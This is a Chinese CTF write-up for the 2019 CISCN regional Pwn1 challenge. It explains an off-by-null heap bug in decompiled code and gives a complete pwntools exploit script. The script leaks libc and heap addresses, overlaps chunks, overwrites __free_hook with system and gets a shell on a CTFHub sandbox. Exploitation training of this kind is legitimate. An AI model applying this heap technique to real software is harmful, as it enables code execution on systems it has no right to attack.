Pwn1

发表于 2021-01-04 分类于 Challenge， 2019， CISCN， 华东北赛区
Challenge | 2019 | CISCN | 华东北赛区 | Pwn1

点击此处获得更好的阅读体验

本 WP 来自binLep原创投稿

题目考点

- *off-by-null*

解题思路

程序保护如下：

```
Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
```

本题漏洞点是 off-by-null

main 函数如下：

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  void *ptr; // [esp+0h] [ebp-Ch]
  ptr = sub_8B0();
  if ( !ptr )
    exit(0);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        v3 = menu();
        if ( v3 != 2 )
          break;
        edit(ptr);
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_14;
      add(ptr);
    }
    if ( v3 == 3 )
    {
      delete(ptr);
    }
    else
    {
      if ( v3 != 4 )
      {
LABEL_14:
        puts("INVALID ORDER");
        exit(0);
      }
      rename(ptr);
    }
  }
}
```

add 函数如下：

```
1 _DWORD *__cdecl add(int a1)
2 {
3   _DWORD *result; // eax
4   int v2; // esi
5   size_t size; // [esp+4h] [ebp-14h]
6   int v4; // [esp+8h] [ebp-10h]
7   int i; // [esp+Ch] [ebp-Ch]
8   for ( i = 0; i >= 0 && i <= 9 && *(4 * i + a1); ++i )
9   {
10    if ( i > 9 )
11      return puts("list full");
12  }
13  *(4 * i + a1) = malloc(0x10u);
14  **(4 * i + a1) = 0;
15  printf("Name length: ");
16  __isoc99_scanf("%d", &size);
17  if ( size > 0 || size <= 0x1FF )
18  {
19    printf("Name: ");
20    v2 = *(4 * i + a1);
21    *(v2 + 4) = sub_929(size);
22    printf("Price: ");
23    __isoc99_scanf("%d", &v4);
24    *(*(4 * i + a1) + 8) = v4;
25    result = printf("Now Computer %s is yours\n\n", *(*(4 * i + a1) + 4));
26  }
27  else
28  {
29    free(*(4 * i + a1));
30    result = (4 * i + a1);
31    *result = 0;
32  }
33  return result;
34 }
```

edit 函数如下：

```
1 int __cdecl edit(int a1)
2 {
3   void **v1; // esi
4   int result; // eax
5   int v3; // [esp+8h] [ebp-10h]
6   int v4; // [esp+Ch] [ebp-Ch]
7   printf("Index: ");
8   __isoc99_scanf("%d", &v3);
9   if ( v3 < 0 || v3 > 9 || !*(4 * v3 + a1) )
10    return puts("Too young");
11  printf("Comment on %s : ", *(*(4 * v3 + a1) + 4));
12  v1 = *(4 * v3 + a1);
13  *v1 = malloc(0x8Cu);
14  read(0, **(4 * v3 + a1), 0x8Cu);
15  printf("And its score: ");
16  __isoc99_scanf("%d", &v4);
17  result = *(4 * v3 + a1);
18  *(result + 12) = v4;
19  return result;
20 }
```

结合 add 函数和 edit 函数大致能看出来程序分配堆块的流程

先分配一个 0x18 大小的堆块，然后这个堆块的 bk 存着一个自定义大小的堆块，内容是在 add 函数中输入的内容

之后 edit 函数使用时会生成一个大小为 0x90 的堆块，之后把这个堆块的地址放到上面那个 0x18 大小堆块的 fd 里

delete 函数：

```
1  int __cdecl delete(int a1)
2  {
3    int v2; // [esp+Ch] [ebp-Ch]
4    printf("WHICH IS THE RUBBISH PC? Give me your index: ");
5    __isoc99_scanf("%d", &v2);
6    printf("Comment %s will disappear\n", **(4 * v2 + a1));
7    if ( v2 < 0 || v2 > 9 || !*(4 * v2 + a1) )
8      return puts("Too young");
9    free(*(*(4 * v2 + a1) + 4));
10   free(**(4 * v2 + a1));
11   *(*(4 * v2 + a1) + 4) = 0;
12   **(4 * v2 + a1) = 0;
13   free(*(4 * v2 + a1));
14   *(4 * v2 + a1) = 0;
15   return puts("Done");
16 }
```

rename 函数：

```
1  int __cdecl rename(void *ptr)
2  {
3    int v1; // esi
4    int v3; // [esp+8h] [ebp-10h]
5    size_t size; // [esp+Ch] [ebp-Ch]
6    printf("Give me an index: ");
7    __isoc99_scanf("%d", &v3);
8    if ( v3 >= 0 && v3 <= 9 && *(ptr + v3) && *(*(ptr + v3) + 4) )
9    {
10     size = malloc_usable_size(*(*(ptr + v3) + 4));
11     v1 = *(ptr + v3);
12     *(v1 + 4) = realloc(*(*(ptr + v3) + 4), size);
13     read(0, *(*(ptr + v3) + 4), size / 4);
14     puts("Done");
15     getshell(ptr, *(ptr + v3));
16   }
17   return puts("Too young");
18 }
```

getshell 函数：

```
1  void __cdecl __noreturn getshell(void *ptr, int a2)
2  {
3    char v2; // [esp+Fh] [ebp-9h]
4    printf("Wanna get more power?(y/n)");
5    getchar();
6    __isoc99_scanf("%c", &v2);
7    if ( v2 == 121 )
8    {
9      if ( !unk_300C )
10     {
11       unk_300C = 1;
12       puts("DO YOU guys know Digital IC?");
13       if ( sub_E8D() == 1 )
14       {
15         getchar();
16         puts("Hey Pwner");
17         read(0, *(a2 + 4), 4u);
18         printf("PWNer say goobye gently");
19         sub_FB9(ptr);
20       }
21       puts("TCL!");
22       exit(233);
23     }
24     puts("you've seen death magic.");
25     exit(233);
26   }
27   puts("Coward");
28   exit(233);
29 }
```

add 函数存在 off-by-null，就导致可以利用 unlink 来向后合并，这里并不是靠 unlink 来拿到 chunk 权限，只是为了向后合并

之后合并的 unsorted bin chunk 里有着能控制的堆块，修改那个 0x18 大小堆块的 bk 到堆基地址 + 8 的位置就可以控制基本所有堆块了

因为只能在堆基地址 + 8 的位置写 0xb 大小的内容，所以第三个 chunk 在最后会被修改成错误的值，要提前释放

总体思路就是以上，靠伪造假 chunk，内容写上 __free_hook，之后靠 rename 函数修改 __free_hook 的值为 addr_system

再释放一个带有/bin/sh字符串的 chunk 即可提权

exp 如下：

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *
debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
    p = process('./chall')
else:
    p = remote('challenge-44f02604bacb251b.sandbox.ctfhub.com', 33314)
def add(name_len, name_content, price_content):
    p.sendlineafter('>>> ', '1')
    p.sendlineafter('Name length: ', str(name_len))
    p.sendlineafter('Name: ', name_content)
    p.sendlineafter('Price: ', str(price_content))
def edit(comment_idx, comment_content=None, score_content=None):
    p.sendlineafter('>>> ', '2')
    p.sendlineafter('Index: ', str(comment_idx))
    if not comment_content:
        return
    p.sendafter(' : ', comment_content)
    p.sendlineafter('And its score: ', str(score_content))
def delete(delete_idx):
    p.sendlineafter('>>> ', '3')
    p.sendlineafter('index: ', str(delete_idx))
    p.recvuntil('Comment ')
def rename(rename_idx, rename_fakeaddr, rename_address):
    p.sendlineafter('>>> ', '4')
    p.sendlineafter('Give me an index: ', str(rename_idx))
    p.send(rename_fakeaddr)
    p.sendlineafter('Wanna get more power?(y/n)', 'y')
    p.sendlineafter('Give me serial: ', 'e4SyD1C!')
    p.sendlineafter('Hey Pwner\n', rename_address)
# leak libc
add(0x8c, 'a', 0)
add(0x20, 'b', 1)
delete(0)
edit(1, 'aaaa', 1)
delete(1)
addr___malloc_hook = u32(p.recv(8)[4:]) - 0x48
libc = LibcSearcher('__malloc_hook', addr___malloc_hook)
libcbase = addr___malloc_hook - libc.dump('__malloc_hook')
addr___free_hook = libcbase + libc.dump('__free_hook')
addr_system = libcbase + libc.dump('system')
# leak heapbase
add(0x20, 'a', 0)
add(0x88, 'a', '1')
delete(0)
add(0x1f0, 'a', 2)
add(0x20, 'a', 3)
delete(1)
delete(0)
edit(2, 'aaaa', 2)
delete(2)
addr_heap = u32(p.recv(8)[4:]) - 0x118
# chunk overlap
pd = 'a' * 0xf8
pd += p32(0) + p32(0xf9)
pd += p32(0) + p32(addr___free_hook)
pd += p32(0) + p32(0xe9)
pd += p32(0) + p32(addr___free_hook)
```

```
pd += '\x00' * 0xdb
add(0x1f4, pd, 0)  # emmm
add(0x20, 'a', 1)
pd = 'a' * 0x10
pd += p32(0) + p32(0xb9)
pd += p32(addr_heap + 0x70) + p32(addr_heap + 0x74)
pd += '\x00' * 0xc + p32(addr_heap + 0x60)
add(0x88, pd, 2)
delete(1)
add(0x24, 'a' * 0x20 + p32(0xb8), 1)
delete(0)
# make fake bk(0x10)
pd = 'b' * 0x70
pd += p32(0) + p32(0x11)
pd += p32(0) + p32(addr_heap + 8)
pd += p32(0) + p32(0x11)
pd += p32(0) + p32(addr_heap + 0x100)
pd += p32(0) + p32(0x21)
pd += '/bin/sh'
add(0x1b0, pd, 0)
delete(2)
# gdb.attach(p, "b *$rebase(0x1174)\nc")
rename(1, p32(addr_heap + 0xf0) + p32(addr_heap + 0x220), p32(addr_system))
p.recv()
# gdb.attach(p)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_system        = ' + hex(addr_system))
success('addr_heap          = ' + hex(addr_heap))
success('addr___free_hook   = ' + hex(addr___free_hook))
p.interactive()
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2019/CISCN/华东北赛区/djFgGPRy3Lj8VZrNijFNcv.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2019 # CISCN # 华东北赛区
马男波杰克
DES